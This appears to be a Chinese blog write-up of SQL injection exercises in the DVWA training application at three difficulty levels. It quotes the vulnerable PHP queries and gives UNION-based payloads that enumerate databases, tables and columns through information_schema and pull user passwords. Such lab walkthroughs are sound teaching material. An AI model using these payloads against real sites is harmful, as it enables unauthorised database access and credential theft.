- A+
一、初级难度
1 |
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; |
通过源码发现需要 ‘闭合
1.找注入点:
通过and 1=1 和 and 1=2 发现存在注入
2.判断字段 order by
Order by 3 报错 ,我们发现只有两个字段
Unknown column '3' in 'order clause'
3.找回显点:
1 |
union select 1,2 |
我们发现在字段 1,2 处有回显
4.在回显点 输入我们的sql语句:
(1)获取当前数据库:database()
(2)爆破所有数据库:
1 |
(select group_concat(schema_name) from information_schema.schemata) |
(3)获取当前数据库的所有表
1 |
(select group_concat(table_name) from information_schema.tables where table_schema='dvwa' ) |
(4)获取表中列名:
发现重要数据:user和password
(5)获取所有用用户的账号密码
1 |
select user,password from users; |
二、中级难度
1 2 |
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; |
mysql_real_escape_string()
下列字符受影响:
\x00,\n,\r,\,',",\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法
1 |
mysql_real_escape_string(string,connection) |
1.判断有没有注入
尝试语句:and =1=1 or 1=1
2.查找字段
Sql语句: Order by 2
3.找回显点
Sql语句and 1=2 假 执行后边的sql语句,从而判断有无回显。
4.爆库 爆表 获取重要数据
爆库:
1 |
(select group_concat( schema_name) from information_schema.schemata) |
爆表:
1 |
(select group_concat(table_name) from information_schema.tables where table_schema=0x64767761) |
找表中的重要字段:
1 |
(select group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273) |
获取用户和密码:
1 |
union select user,password from users |
三、高级难度
分析代码发现,可能存在字符型注入
$_SESSION() 发现使用了这个函数,来开启一个新的会话窗口。
1.找注入点
我们可以在这个窗口输入恶意sql语句,判断是否存在注入 and 1=1 --+ and 1=2 --+
And 1=1 正确 and 1=2 报错 说明存在sql注入
2.判断字段数
3.找回显点
接下来重复上述步骤。
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-